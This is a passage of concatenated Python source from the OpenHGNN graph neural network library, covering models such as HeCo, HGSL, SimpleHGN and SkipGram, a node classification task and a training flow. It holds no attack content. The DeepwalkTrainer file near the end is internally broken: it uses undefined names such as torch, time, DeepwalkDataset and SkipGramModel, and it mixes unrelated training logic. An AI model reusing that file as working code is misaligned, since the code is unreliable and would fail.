\mathcal{L}_i^{sc}=-\log\frac{\sum_{j\in\mathbb{P}_i}exp\left(sim\left(z_i^{sc}\_proj,z_j^{mp}\_proj\right)/\tau\right)}{\sum_{k\in\{\mathbb{P}_i\bigcup\mathbb{N}_i\}}exp\left(sim\left(z_i^{sc}\_proj,z_k^{mp}\_proj\right)/\tau\right)} where we show the contrastive loss :math:`\mathcal{L}_i^{sc}` under network schema view, and :math:`\mathbb{P}_i` and :math:`\mathbb{N}_i` are positives and negatives for node :math:`i`. In a similar way, we can get the contrastive loss :math:`\mathcal{L}_i^{mp}` under meta-path view. Finally, we utilize combination parameter :math:`\lambda` to add this two losses. Note ----------- In implementation, each row of 'matrix_mp2sc' means the similarity with exponential between one node in meta-path view and all nodes in network schema view. Then, we conduct normalization for this row, and pick the results where the pair of nodes are positives. Finally, we sum these results for each row, and give a log to get the final loss. """ z_proj_mp = self.proj(z_mp) z_proj_sc = self.proj(z_sc) matrix_mp2sc = self.sim(z_proj_mp, z_proj_sc) matrix_sc2mp = matrix_mp2sc.t() matrix_mp2sc = matrix_mp2sc / (torch.sum(matrix_mp2sc, dim=1).view(-1, 1) + 1e-8) lori_mp = -torch.log(matrix_mp2sc.mul(pos.to_dense()).sum(dim=-1)).mean() matrix_sc2mp = matrix_sc2mp / (torch.sum(matrix_sc2mp, dim=1).view(-1, 1) + 1e-8) lori_sc = -torch.log(matrix_sc2mp.mul(pos.to_dense()).sum(dim=-1)).mean() contra_loss = self.lam * lori_mp + (1 - self.lam) * lori_sc return contra_loss '''logreg''' class LogReg(nn.Module): r""" Parameters ---------- ft_in : int Size of hid_units nb_class : int The number of category's types """ def __init__(self, ft_in, nb_classes): super(LogReg, self).__init__() self.fc = nn.Linear(ft_in, nb_classes) for m in self.modules(): self.weights_init(m) def weights_init(self, m): if isinstance(m, nn.Linear): torch.nn.init.xavier_uniform_(m.weight.data) if m.bias is not None: m.bias.data.fill_(0.0) def forward(self, seq): ret = self.fc(seq) return ret ``` #### File: openhgnn/models/HeteroMLP.py ```python from ..layers.HeteroLinear import HeteroMLPLayer from ..layers.GeneralGNNLayer import MultiLinearLayer def HGNNPreMP(args, node_types, num_pre_mp, in_dim, hidden_dim): """ HGNNPreMP, dimension is in_dim, hidden_dim, hidden_dim ... Note: Final layer has activation. Parameters ---------- args node_types num_pre_mp in_dim hidden_dim Returns ------- """ if num_pre_mp > 0: linear_dict = {} for ntype in node_types: linear_dict[ntype] = [in_dim] for _ in range(num_pre_mp): linear_dict[ntype].append(hidden_dim) return HeteroMLPLayer(linear_dict, act=args.activation, dropout=args.dropout, has_l2norm=args.has_l2norm, has_bn=args.has_bn, final_act=True) def HGNNPostMP(args, node_types, num_post_mp, hidden_dim, out_dim): """ HGNNPostMLP, hidden_dim, hidden_dim, ..., out_dim Final layer has no activation. Parameters ---------- args node_types num_post_mp hidden_dim out_dim Returns ------- """ if num_post_mp > 0: linear_dict = {} for ntype in node_types: linear_dict[ntype] = [hidden_dim] for _ in range(num_post_mp-1): linear_dict[ntype].append(hidden_dim) linear_dict[ntype].append(out_dim) return HeteroMLPLayer(linear_dict, act=args.activation, dropout=args.dropout, has_l2norm=args.has_l2norm, has_bn=args.has_bn, final_act=False) # def GNNPreMP(args, in_dim, hidden_dim): # linear_list = [in_dim] + args.layers_pre_mp * [hidden_dim] # return MultiLinearLayer(linear_list, dropout=args.dropout, act=args.activation, has_bn=args.has_bn, # has_l2norm=args.has_l2norm) # # # def GNNPostMP(args, hidden_dim, out_dim): # linear_list = args.layers_pre_mp * [hidden_dim] + [out_dim] # return MultiLinearLayer(linear_list, dropout=args.dropout, act=args.activation, has_bn=args.has_bn, # has_l2norm=args.has_l2norm) ``` #### File: openhgnn/models/HGSL.py ```python import math import torch import torch.nn as nn import torch.nn.functional as F from torch.nn.parameter import Parameter from . import BaseModel, register_model @register_model('HGSL') class HGSL(BaseModel): r""" Description ----------- HGSL, Heterogeneous Graph Structure Learning from paper <http://www.shichuan.org/doc/100.pdf>. Parameters ---------- feat_dims : dict The feature dimensions of different node types. undirected_relations : str The HGSL model can only handle undirected heterographs, while in the dgl.heterograph format, directed edges are stored in two different edge types, separately and symmetrically, to represent undirected edge. Hence you have to specify which relations are those distinct undirected relations. In this parameter, each undirected relation is separated with a comma. For example, in a heterograph with 2 undirected relations: paper-author and paper-subject, there are 4 type of edges stored in the dgl.heterograph: paper-author, author-paper, paper-subject, subject-paper. Then this parameter can be "paper-author,paper-subject", "author-paper,paper-subject", "paper-author,subject-paper" or "author-paper,subject-paper". device: str The GPU device to select, like 'cuda:0'. metapaths : list The metapath name list. mp_emb_dim : int The dimension of metapath embeddings from metapath2vec. hidden_dim : int The dimension of mapped features in the graph generating procedure. num_heads: int Number of heads in the K-head weighted cosine similarity function. fs_eps : float Threshold of feature similarity graph :math:`\epsilon^{FS}`. fp_eps : float Threshold of feature propagation graph :math:`\epsilon^{FP}`. mp_eps : float Threshold of semantic graph :math:`\epsilon^{MP}`. gnn_emd_dim : int The dimension of hidden layers of the downstream GNN. gnn_dropout : float The dropout ratio of features in the downstream GNN. category : str The target node type which the model will predict on. out_dim : int number of classes of the target node type. Attributes ----------- fgg_direct : nn.ModuleDict Feature similarity graph generator(:math:`S_r^{FS}`) dict in equation 2 of paper, in which keys are undirected-relation strs. fgg_left: nn.ModuleDict Feature propagation graph generator(:math:`S_r^{FH}`) dict which generates the graphs in equation 5 of paper. fgg_right: nn.ModuleDict Feature propagation graph generator(:math:`S_r^{FT}`) dict which generates the graphs in equation 6 of paper. fg_agg : nn.ModuleDict A channel attention layer, in which a layer fuses one feature similarity graph and two feature propagation graphs generated, in equation 7 of paper. sgg_gen : nn.ModuleDict Semantic subgraph generator(:math:`S_{r,m}^{MP}`) dict, in equation 8 of paper. sg_agg : nn.ModuleDict The channel attention layer which fuses semantic subgraphs, in equation 9 of paper. overall_g_agg : nn.ModuleDict The channel attention layer which fuses the learned feature graph, semantic graph and the original graph. encoder : nn.ModuleDict The type-specific mapping layer in equation 1 of paper. Note ---- This model under the best config has some slight differences compared with the code given by the paper author, which seems having little impact on performance: 1. The regularization item in loss is on all parameters of the model, while in the author's code, it is only on the generated adjacent matrix. If you want to implement the latter, a new task of OpenHGNN is needed. 2. The normalization of input adjacent matrix is separately on different adjacent matrices of different relations, while in the author's code, it is on the entire adjacent matrix composed of adjacent matrices of all relations. """ @classmethod def build_model_from_args(cls, args, hg): feat_dims = dict() for ntype in hg.ntypes: feat_dims[ntype] = hg.nodes[ntype].data['h'].shape[1] # Extract undirected_relations und_rels = args.undirected_relations.split(',') undirected_relations = list() for etype in hg.canonical_etypes: if etype[1] in und_rels: undirected_relations.append(etype) device = hg.device metapaths = list() for feature_name in hg.nodes["paper"].data.keys(): if "m2v" in feature_name: metapaths.append(feature_name) mp_emb_dim = hg.nodes["paper"].data["pap_m2v_emb"].shape[1] return cls(feat_dims=feat_dims, undirected_relations=undirected_relations, device=device, metapaths=metapaths, mp_emb_dim=mp_emb_dim, hidden_dim=args.hidden_dim, num_heads=args.num_heads, fs_eps=args.fs_eps, fp_eps=args.fp_eps, mp_eps=args.mp_eps, gnn_emd_dim=args.gnn_emd_dim, gnn_dropout=args.gnn_dropout, category=args.category, num_class=args.out_dim) def __init__(self, feat_dims, undirected_relations, device, metapaths, mp_emb_dim, hidden_dim, num_heads, fs_eps, fp_eps, mp_eps, gnn_emd_dim, gnn_dropout, category, num_class): super().__init__() self.device = device self.ud_rels = undirected_relations self.node_types = list(feat_dims.keys()) self.feat_dims = feat_dims self.non_linear = nn.ReLU() self.category = category self.metapaths = metapaths nnmd = nn.ModuleDict self.fgg_direct, self.fgg_left, self.fgg_right, self.fg_agg, self.sgg_gen, self.sg_agg, self.overall_g_agg = \ nnmd({}), nnmd({}), nnmd({}), nnmd({}), nnmd({}), nnmd({}), nnmd({}) # Feature encoder self.encoder = nnmd( dict(zip(self.node_types, [nn.Linear(feat_dims[node_type], hidden_dim) for node_type in self.node_types]))) for canonical_etype in undirected_relations: undirected_relation = canonical_etype[1] # Feature Graph Generator self.fgg_direct[undirected_relation] = GraphGenerator(hidden_dim, num_heads, fs_eps, self.device) self.fgg_left[undirected_relation] = GraphGenerator(feat_dims[canonical_etype[0]], num_heads, fp_eps, self.device) self.fgg_right[undirected_relation] = GraphGenerator(feat_dims[canonical_etype[2]], num_heads, fp_eps, self.device) self.fg_agg[undirected_relation] = GraphChannelAttLayer(3) # Semantic Graph Generator self.sgg_gen[undirected_relation] = nnmd(dict( zip(metapaths, [GraphGenerator(mp_emb_dim, num_heads, mp_eps, self.device) for _ in metapaths]))) self.sg_agg[undirected_relation] = GraphChannelAttLayer(len(metapaths)) # Overall Graph Generator self.overall_g_agg[undirected_relation] = GraphChannelAttLayer(3) # Graph Convolution if len(set(feat_dims.values())) == 1: self.GCN = GCN(list(self.feat_dims.values())[0], gnn_emd_dim, num_class, gnn_dropout) else: raise Exception("Downstream model GCN can only accept features for " "different node types of the same dimension") def forward(self, hg, h_features): r""" Parameters ---------- hg : dgl.DGlHeteroGraph All input data is stored in this graph. The graph should be an undirected heterogeneous graph. Every node type in graph should have its feature named 'h' and the same feature dimension. Every node type in graph should have its metapath2vec embedding feature named 'xxx_m2v_emb' and the same feature dimension. h_features : dict Not used. Returns -------- result : dict The target node type and the corresponding node embeddings. """ def generate_node_indexes(hg): indexes = dict() index = 0 for node_type in hg.ntypes: indexes[node_type] = (index, index + hg.num_nodes(node_type)) index += hg.num_nodes(node_type) return indexes def construct_homo_adj(new_adjs, hg, node_indexes, device): new_homo_adj = torch.zeros(size=(hg.num_nodes(), hg.num_nodes())).to(device) for canonical_etype, new_adj in new_adjs.items(): row_range = node_indexes[canonical_etype[0]] column_range = node_indexes[canonical_etype[2]] new_homo_adj[row_range[0]:row_range[1], column_range[0]:column_range[1]] = new_adj new_homo_adj += new_homo_adj.t() new_homo_adj = F.normalize(new_homo_adj, dim=0, p=1) return new_homo_adj def construct_homo_feature(hg, device): homo_feature = list() for ntype in hg.ntypes: homo_feature.append(hg.nodes[ntype].data['h']) homo_feature = torch.cat(homo_feature, dim=0).to(device) return homo_feature # Heterogeneous Feature Mapping mapped_feats = dict() for ntype in self.node_types: mapped_feats[ntype] = self.non_linear(self.encoder[ntype](hg.nodes[ntype].data['h'])) # Heterogeneous Graph Generation new_adjs = dict() for canonical_etype in self.ud_rels: undirected_relation = canonical_etype[1] ori_g = F.normalize(hg.adj(etype=canonical_etype).to_dense().to(self.device), dim=1, p=2) # Feature Graph Generation fg_direct = self.fgg_direct[undirected_relation](mapped_feats[canonical_etype[0]], mapped_feats[canonical_etype[2]]) fmat_l, fmat_r = hg.nodes[canonical_etype[0]].data['h'], hg.nodes[canonical_etype[2]].data['h'] sim_l, sim_r = self.fgg_left[undirected_relation](fmat_l, fmat_l), self.fgg_right[undirected_relation]( fmat_r, fmat_r) fg_left, fg_right = sim_l.mm(ori_g), sim_r.mm(ori_g.t()).t() feat_g = self.fg_agg[undirected_relation]([fg_direct, fg_left, fg_right]) # Semantic Graph Generation sem_g_list = [self.sgg_gen[undirected_relation][mp](hg.nodes[canonical_etype[0]].data[mp], hg.nodes[canonical_etype[2]].data[mp]) for mp in self.metapaths] sem_g = self.sg_agg[undirected_relation](sem_g_list) # Overall Graph new_adjs[canonical_etype] = self.overall_g_agg[undirected_relation]([feat_g, sem_g, ori_g]) node_indexes = generate_node_indexes(hg) new_homo_adj = construct_homo_adj(new_adjs, hg, node_indexes, self.device) homo_feature = construct_homo_feature(hg, self.device) x = self.GCN(homo_feature, new_homo_adj) result = {self.category: x[node_indexes[self.category][0]:node_indexes[self.category][1], :]} return result class MetricCalcLayer(nn.Module): r""" Description ----------- Calculate metric in equation 3 of paper. Parameters ---------- nhid : int The dimension of mapped features in the graph generating procedure. """ def __init__(self, nhid): super().__init__() self.weight = nn.Parameter(torch.FloatTensor(1, nhid)) nn.init.xavier_uniform_(self.weight) def forward(self, h): r""" Parameters ---------- h : tensor The result of the Hadamard product in equation 3 of paper. """ return h * self.weight class GraphGenerator(nn.Module): r""" Description ----------- Generate a graph using similarity. """ def __init__(self, dim, num_head=2, threshold=0.1, dev=None): super(GraphGenerator, self).__init__() self.threshold = threshold self.metric_layer = nn.ModuleList() for i in range(num_head): self.metric_layer.append(MetricCalcLayer(dim)) self.num_head = num_head self.dev = dev def forward(self, left_h, right_h): r""" Parameters ---------- left_h : tensor The first input embedding matrix. right_h : tensor The second input embedding matrix. """ def cos_sim(a, b, eps=1e-8): a_n, b_n = a.norm(dim=1)[:, None], b.norm(dim=1)[:, None] a_norm = a / torch.max(a_n, eps * torch.ones_like(a_n)) b_norm = b / torch.max(b_n, eps * torch.ones_like(b_n)) sim_mt = torch.mm(a_norm, b_norm.transpose(0, 1)) return sim_mt if torch.sum(left_h) == 0 or torch.sum(right_h) == 0: return torch.zeros((left_h.shape[0], right_h.shape[0])).to(self.dev) s = torch.zeros((left_h.shape[0], right_h.shape[0])).to(self.dev) zero_lines = torch.nonzero(torch.sum(left_h, 1) == 0) # The ReLU function will generate zero lines, which lead to the nan (divided by zero) problem. if len(zero_lines) > 0: left_h[zero_lines, :] += 1e-8 for i in range(self.num_head): weighted_left_h = self.metric_layer[i](left_h) weighted_right_h = self.metric_layer[i](right_h) s += cos_sim(weighted_left_h, weighted_right_h) s /= self.num_head s = torch.where(s < self.threshold, torch.zeros_like(s), s) return s class GraphChannelAttLayer(nn.Module): r""" Description ----------- The graph channel attention layer in equation 7, 9 and 10 of paper. """ def __init__(self, num_channel): super(GraphChannelAttLayer, self).__init__() self.weight = nn.Parameter(torch.Tensor(num_channel, 1, 1)) nn.init.constant_(self.weight, 0.1) # equal weight def forward(self, adj_list): r""" Parameters ---------- adj_list : list The list of adjacent matrices. """ adj_list = torch.stack(adj_list) # Row normalization of all graphs generated adj_list = F.normalize(adj_list, dim=1, p=1) # Hadamard product + summation -> Conv return torch.sum(adj_list * F.softmax(self.weight, dim=0), dim=0) class GCN(nn.Module): r""" Description ----------- The downstream GCN model. """ def __init__(self, nfeat, nhid, nclass, dropout): super(GCN, self).__init__() self.gc1 = GraphConvolution(nfeat, nhid) self.gc2 = GraphConvolution(nhid, nclass) self.dropout = dropout def forward(self, x, adj): r""" Parameters ---------- x : tensor The feature matrix. adj : tensor The adjacent matrix. """ x = F.relu(self.gc1(x, adj)) x = F.dropout(x, self.dropout, training=self.training) x = self.gc2(x, adj) return x class GraphConvolution(nn.Module): r""" Description ----------- The downstream GCN layer. """ def __init__(self, in_features, out_features, bias=True): def reset_parameters(self): stdv = 1. / math.sqrt(self.weight.size(1)) self.weight.data.uniform_(-stdv, stdv) if self.bias is not None: self.bias.data.uniform_(-stdv, stdv) super(GraphConvolution, self).__init__() self.in_features = in_features self.out_features = out_features self.weight = Parameter(torch.FloatTensor(in_features, out_features)) if bias: self.bias = Parameter(torch.FloatTensor(out_features)) else: self.register_parameter('bias', None) reset_parameters(self) def forward(self, inputs, adj): r""" Parameters ---------- inputs : tensor The feature matrix. adj : tensor The adjacent matrix. """ support = torch.mm(inputs, self.weight) # HW in GCN output = torch.mm(adj, support) # AHW if self.bias is not None: return output + self.bias else: return output ``` #### File: openhgnn/models/SimpleHGN.py ```python import dgl import dgl.function as Fn from dgl.ops import edge_softmax import torch import torch.nn as nn import torch.nn.functional as F from . import BaseModel, register_model @register_model('SimpleHGN') class SimpleHGN(BaseModel): @classmethod def build_model_from_args(cls, args, hg): heads = [args.num_heads] * args.num_layers + [1] return cls(args.edge_dim, args.num_edge * 2, [args.hidden_dim], args.h_dim, len(hg.ntypes), args.num_layers, heads, args.feats_drop_rate, args.attn_drop_rate, args.slope, True, args.beta ) def __init__(self, edge_dim, num_etypes, in_dims, num_hidden, num_classes, num_layers, heads, feat_drop, attn_drop, negative_slope, residual, beta): super(SimpleHGN, self).__init__() self.num_layers = num_layers self.gat_layers = nn.ModuleList() self.activation = F.elu # input projection (no residual) self.gat_layers.append( SimpleHGNConv( edge_dim, in_dims[0], num_hidden, heads[0], num_etypes, feat_drop, attn_drop, negative_slope, False, self.activation, beta=beta, ) ) # hidden layers for l in range(1, num_layers): # noqa E741 # due to multi-head, the in_dim = num_hidden * num_heads self.gat_layers.append( SimpleHGNConv( edge_dim, num_hidden * heads[l - 1], num_hidden, heads[l], num_etypes, feat_drop, attn_drop, negative_slope, residual, self.activation, beta=beta, ) ) # output projection self.gat_layers.append( SimpleHGNConv( edge_dim, num_hidden * heads[-2], num_classes, heads[-1], num_etypes, feat_drop, attn_drop, negative_slope, residual, None, beta=beta, ) ) def forward(self, g, h_dict = None): with g.local_scope(): g.ndata['h'] = h_dict graph = dgl.to_homogeneous(g, ndata = ['h']) h = graph.ndata['h'] for l in range(self.num_layers): # noqa E741 h = self.gat_layers[l](graph, h) h = h.flatten(1) graph.ndata['h'] = h g_2 = dgl.to_heterogeneous(graph, g.ntypes, g.etypes) h_dict = g_2.ndata['h'] return h_dict class SimpleHGNConv(nn.Module): def __init__(self, edge_feats, in_features, out_features, num_heads, num_etype, feat_drop=0.0, attn_drop=0.5, negative_slope=0.2, residual=True, activation=F.elu, beta=0.0 ): super(SimpleHGNConv, self).__init__() self.edge_feats = edge_feats self.in_features = in_features self.out_features = out_features self.num_heads = num_heads self.num_etype = num_etype self.edge_emb = nn.Parameter(torch.zeros(size=(num_etype, edge_feats))) self.W = nn.Parameter(torch.FloatTensor( in_features, out_features * num_heads)) self.W_e = nn.Parameter(torch.FloatTensor( edge_feats, edge_feats * num_heads)) self.a_l = nn.Parameter(torch.empty(size=(1, num_heads, out_features))) self.a_r = nn.Parameter(torch.empty(size=(1, num_heads, out_features))) self.a_e = nn.Parameter(torch.empty(size=(1, num_heads, edge_feats))) nn.init.xavier_uniform_(self.edge_emb, gain=1.414) nn.init.xavier_uniform_(self.W, gain=1.414) nn.init.xavier_uniform_(self.W_e, gain=1.414) nn.init.xavier_uniform_(self.a_l.data, gain=1.414) nn.init.xavier_uniform_(self.a_r.data, gain=1.414) nn.init.xavier_uniform_(self.a_e.data, gain=1.414) self.feat_drop = nn.Dropout(feat_drop) self.dropout = nn.Dropout(attn_drop) self.leakyrelu = nn.LeakyReLU(negative_slope) self.activation = activation if residual: self.residual = nn.Linear(in_features, out_features * num_heads) else: self.register_buffer("residual", None) self.beta = beta def forward(self, g, h): emb = self.feat_drop(h) emb = torch.matmul(emb, self.W).view(-1, self.num_heads, self.out_features) emb[torch.isnan(emb)] = 0.0 e = torch.matmul(self.edge_emb, self.W_e).view(-1, self.num_heads, self.edge_feats) row = g.edges()[0] col = g.edges()[1] tp = g.edata['_TYPE'] # tp = g.edge_type h_l = (self.a_l * emb).sum(dim=-1)[row] h_r = (self.a_r * emb).sum(dim=-1)[col] h_e = (self.a_e * e).sum(dim=-1)[tp] edge_attention = self.leakyrelu(h_l + h_r + h_e) edge_attention = edge_softmax(g, edge_attention) if 'alpha' in g.edata.keys(): res_attn = g.edata['alpha'] edge_attention = edge_attention * \ (1 - self.beta) + res_attn * self.beta with g.local_scope(): h_prime = [] emb = emb.permute(1, 0, 2).contiguous() for i in range(self.num_heads): g.edata['alpha'] = edge_attention[:, i] g.srcdata.update({'emb': emb[i]}) g.update_all(Fn.u_mul_e('emb', 'alpha', 'm'), Fn.sum('m', 'emb')) h_prime.append(g.ndata['emb']) h_output = torch.cat(h_prime, dim=1) g.edata['alpha'] = edge_attention if self.residual: res = self.residual(h) h_output += res h_output = self.activation(h_output) return h_output ``` #### File: openhgnn/models/SkipGram.py ```python import numpy import torch import torch.nn as nn import torch.nn.functional as F from . import BaseModel, register_model """ u_embedding: Embedding for center word. v_embedding: Embedding for neighbor words. """ @register_model('HERec') @register_model('Metapath2vec') class SkipGram(BaseModel): @classmethod def build_model_from_args(cls, args, hg): return cls(hg.num_nodes(), args.dim) def __init__(self, num_nodes, dim): super(SkipGram, self).__init__() self.embedding_dim = dim self.u_embeddings = nn.Embedding(num_nodes, self.embedding_dim, sparse=True) self.v_embeddings = nn.Embedding(num_nodes, self.embedding_dim, sparse=True) initrange = 1.0 / self.embedding_dim nn.init.uniform_(self.u_embeddings.weight.data, -initrange, initrange) nn.init.constant_(self.v_embeddings.weight.data, 0) def forward(self, pos_u, pos_v, neg_v): emb_u = self.u_embeddings(pos_u) emb_v = self.v_embeddings(pos_v) emb_neg_v = self.v_embeddings(neg_v) score = torch.sum(torch.mul(emb_u, emb_v), dim=1) score = torch.clamp(score, max=10, min=-10) score = -F.logsigmoid(score) neg_score = torch.bmm(emb_neg_v, emb_u.unsqueeze(2)).squeeze() neg_score = torch.clamp(neg_score, max=10, min=-10) neg_score = -torch.sum(F.logsigmoid(-neg_score), dim=1) return torch.mean(score + neg_score) def save_embedding(self, file_name): numpy.save(file_name, self.u_embeddings.weight.cpu().data.numpy()) ``` #### File: openhgnn/sampler/test_mp2vec_sampler.py ```python import dgl from .random_walk_sampler import RandomWalkSampler import torch hg = dgl.heterograph({ ('user', 'follow', 'user'): ([0, 1, 1, 2, 3], [1, 2, 3, 0, 0]), ('user', 'view', 'item'): ([0, 0, 1, 2, 3, 3], [0, 1, 1, 2, 2, 1]), ('item', 'viewed-by', 'user'): ([0, 1, 1, 2, 2, 1], [0, 0, 1, 2, 3, 3])}) def test_get_center_context_negatives(): rw_walks = 5 hetero_sampler = RandomWalkSampler(g=hg, metapath=['follow', 'view', 'viewed-by'] * 3, rw_walks=rw_walks, window_size=3, neg_size=5) for i in range(hg.num_nodes('user') * rw_walks): print(hetero_sampler.get_center_context_negatives(i)) metapath = ['view', 'viewed-by'] for i, elem in enumerate(metapath): if i == 0: adj = hg.adj(etype=elem) else: adj = torch.sparse.mm(adj, hg.adj(etype=elem)) adj = adj.coalesce() g = dgl.graph(data=(adj.indices()[0], adj.indices()[1])) g.edata['rw_prob'] = adj.values() homo_sampler = RandomWalkSampler(g=g, rw_length=10, rw_walks=rw_walks, window_size=3, neg_size=5) for i in range(g.num_nodes() * rw_walks): print(homo_sampler.get_center_context_negatives(i)) ``` #### File: openhgnn/tasks/node_classification.py ```python import torch.nn.functional as F import torch.nn as nn from . import BaseTask, register_task from ..dataset import build_dataset from ..utils import Evaluator @register_task("node_classification") class NodeClassification(BaseTask): r""" Node classification tasks. Attributes ----------- dataset : NodeClassificationDataset Task-related dataset evaluator : Evaluator offer evaluation metric Methods --------- get_graph : return a graph get_loss_fn : return a loss function """ def __init__(self, args): super(NodeClassification, self).__init__() self.dataset = build_dataset(args.dataset, 'node_classification') # self.evaluator = Evaluator() self.logger = args.logger if hasattr(args, 'validation'): self.train_idx, self.val_idx, self.test_idx = self.dataset.get_idx(args.validation) else: self.train_idx, self.val_idx, self.test_idx = self.dataset.get_idx() self.evaluator = Evaluator(args.seed) self.labels = self.dataset.get_labels() self.multi_label = self.dataset.multi_label if hasattr(args, 'evaluation_metric'): self.evaluation_metric = args.evaluation_metric else: if args.dataset in ['aifb', 'mutag', 'bgs', 'am']: self.evaluation_metric = 'acc' else: self.evaluation_metric = 'f1' def get_graph(self): return self.dataset.g def get_loss_fn(self): if self.multi_label: return nn.BCEWithLogitsLoss() return F.cross_entropy def get_evaluator(self, name): if name == 'acc': return self.evaluator.cal_acc elif name == 'f1_lr': return self.evaluator.nc_with_LR elif name == 'f1': return self.evaluator.f1_node_classification def evaluate(self, logits, mode='test', info=True): if mode == 'test': mask = self.test_idx elif mode == 'valid': mask = self.val_idx elif mode == 'train': mask = self.train_idx if self.multi_label: pred = (logits[mask].cpu().numpy() > 0).astype(int) else: pred = logits[mask].argmax(dim=1).to('cpu') if self.evaluation_metric == 'acc': acc = self.evaluator.cal_acc(self.labels[mask], pred) return dict(Accuracy=acc) elif self.evaluation_metric == 'acc-ogbn-mag': from ogb.nodeproppred import Evaluator evaluator = Evaluator(name='ogbn-mag') logits = logits.unsqueeze(dim=1) input_dict = {"y_true": logits, "y_pred": self.labels[self.test_idx]} result_dict = evaluator.eval(input_dict) return result_dict elif self.evaluation_metric == 'f1': f1_dict = self.evaluator.f1_node_classification(self.labels[mask], pred) return f1_dict else: raise ValueError('The evaluation metric is not supported!') def downstream_evaluate(self, logits, evaluation_metric): if evaluation_metric == 'f1_lr': micro_f1, macro_f1 = self.evaluator.nc_with_LR(logits, self.labels, self.train_idx, self.test_idx) return dict(Macro_f1=macro_f1, Mirco_f1=micro_f1) def get_idx(self): return self.train_idx, self.val_idx, self.test_idx def get_labels(self): return self.labels ``` #### File: openhgnn/trainerflow/DeepwalkTrainer.py ```python import copy import dgl import torch as th import numpy as np from tqdm import tqdm import torch.nn.functional as F from torch.utils.data import DataLoader from ..models import build_model from . import BaseFlow, register_flow from ..tasks import build_task from ..sampler.HetGNN_sampler import SkipGramBatchSampler, HetGNNCollator, NeighborSampler, hetgnn_graph from ..utils import EarlyStopping @register_flow("deepwalktrainer") class DeepwalkTrainer(BaseFlow): """DeepwalkTrainer flows. Supported Model: DeepWalk Supported Dataset:Academic4HetGNN Dataset description can be found in HetGNN paper. The trainerflow supports node classification and author link prediction. """ def __init__(self, args): super(DeepwalkTrainer, self).__init__(args) self.args = args self.dataset = DeepwalkDataset( net_file=args.data_file, map_file=args.map_file, walk_length=args.walk_length, window_size=args.window_size, num_walks=args.num_walks, batch_size=args.batch_size, negative=args.negative, gpus=args.gpus, fast_neg=args.fast_neg, ogbl_name=args.ogbl_name, load_from_ogbl=args.load_from_ogbl, ) self.emb_size = self.dataset.G.number_of_nodes() self.emb_model = None def preprocess(self): if self.args.mini_batch_flag: if self.args.model == 'HetGNN': hetg = hetgnn_graph(self.hg, self.args.dataset) self.hg = self.hg.to('cpu') self.het_graph = hetg.get_hetgnn_graph(self.args.rw_length, self.args.rw_walks, self.args.rwr_prob).to('cpu') batch_sampler = SkipGramBatchSampler(self.hg, self.args.batch_size, self.args.window_size) neighbor_sampler = NeighborSampler(self.het_graph, self.hg.ntypes, batch_sampler.num_nodes, self.args.device) collator = HetGNNCollator(neighbor_sampler, self.hg) dataloader = DataLoader( batch_sampler, collate_fn=collator.collate_train, num_workers=self.args.num_workers) self.dataloader_it = iter(dataloader) self.hg = self.hg.to(self.args.device) self.het_graph = self.het_graph.to(self.args.device) # elif self.args.model == 'Metapath2vec': # batch_sampler = SkipGramBatchSampler(self.hg, self.args.batch_size, self.args.window_size, self.args.rw_length) # collator = MP2vecCollator(self.hg.ntypes, batch_sampler.num_nodes) # dataloader = DataLoader(batch_sampler, collate_fn=collator.collate_train, num_workers=self.args.num_workers) # self.dataloader_it = iter(dataloader) return def train(self): self.preprocess() stopper = EarlyStopping(self.args.patience, self._checkpoint) epoch_iter = tqdm(range(self.max_epoch)) for epoch in epoch_iter: if self.args.mini_batch_flag: loss = self._mini_train_step() else: loss = self._full_train_setp() epoch_iter.set_description('Epoch{}: Loss:{:.4f}'.format(epoch, loss)) early_stop = stopper.loss_step(loss, self.model) if early_stop: print('Early Stop!\tEpoch:' + str(epoch)) break stopper.load_model(self.model) metrics = self._test_step() return dict(metrics=metrics) def _full_train_setp(self): self.model.train() negative_graph = self.construct_negative_graph() x = self.model(self.het_graph)[self.category] loss = self.loss_calculation(self.ScorePredictor(self.hg, x), self.ScorePredictor(negative_graph, x)) self.optimizer.zero_grad() loss.backward() self.optimizer.step() return loss.item() def init_device_emb(self): """ set the device before training will be called once in fast_train_mp / fast_train """ choices = sum([self.args.only_gpu, self.args.only_cpu, self.args.mix]) assert choices == 1, "Must choose only *one* training mode in [only_cpu, only_gpu, mix]" # initializing embedding on CPU self.emb_model = SkipGramModel( emb_size=self.emb_size, emb_dimension=self.args.dim, walk_length=self.args.walk_length, window_size=self.args.window_size, batch_size=self.args.batch_size, only_cpu=self.args.only_cpu, only_gpu=self.args.only_gpu, mix=self.args.mix, neg_weight=self.args.neg_weight, negative=self.args.negative, lr=self.args.lr, lap_norm=self.args.lap_norm, fast_neg=self.args.fast_neg, record_loss=self.args.print_loss, norm=self.args.norm, use_context_weight=self.args.use_context_weight, async_update=self.args.async_update, num_threads=self.args.num_threads, ) torch.set_num_threads(self.args.num_threads) if self.args.only_gpu: print("Run in 1 GPU") assert self.args.gpus[0] >= 0 self.emb_model.all_to_device(self.args.gpus[0]) elif self.args.mix: print("Mix CPU with %d GPU" % len(self.args.gpus)) if len(self.args.gpus) == 1: assert self.args.gpus[0] >= 0, 'mix CPU with GPU should have available GPU' self.emb_model.set_device(self.args.gpus[0]) else: print("Run in CPU process") self.args.gpus = [torch.device('cpu')] def fast_train(self): """ fast train with dataloader with only gpu / only cpu""" # the number of postive node pairs of a node sequence num_pos = 2 * self.args.walk_length * self.args.window_size \ - self.args.window_size * (self.args.window_size + 1) num_pos = int(num_pos) self.init_device_emb() if self.args.async_update: self.emb_model.share_memory() self.emb_model.create_async_update() sampler = self.dataset.create_sampler(0) dataloader = DataLoader( dataset=sampler.seeds, batch_size=self.args.batch_size, collate_fn=sampler.sample, shuffle=False, drop_last=False, num_workers=self.args.num_sampler_threads, ) num_batches = len(dataloader) print("num batchs: %d\n" % num_batches) start_all = time.time() start = time.time() with torch.no_grad(): max_i = num_batches for i, walks in enumerate(dataloader): if self.args.fast_neg: self.emb_model.fast_learn(walks) else: # do negative sampling bs = len(walks) neg_nodes = torch.LongTensor( np.random.choice(self.dataset.neg_table, bs * num_pos * self.args.negative, replace=True)) self.emb_model.fast_learn(walks, neg_nodes=neg_nodes) if i > 0 and i % self.args.print_interval == 0: if self.args.print_loss: print("Batch %d training time: %.2fs loss: %.4f" \ % (i, time.time() - start, -sum(self.emb_model.loss) / self.args.print_interval)) self.emb_model.loss = [] else: print("Batch %d, training time: %.2fs" % (i, time.time() - start)) start = time.time() if self.args.async_update: self.emb_model.finish_async_update() print("Training used time: %.2fs" % (time.time() - start_all)) if self.args.save_in_txt: 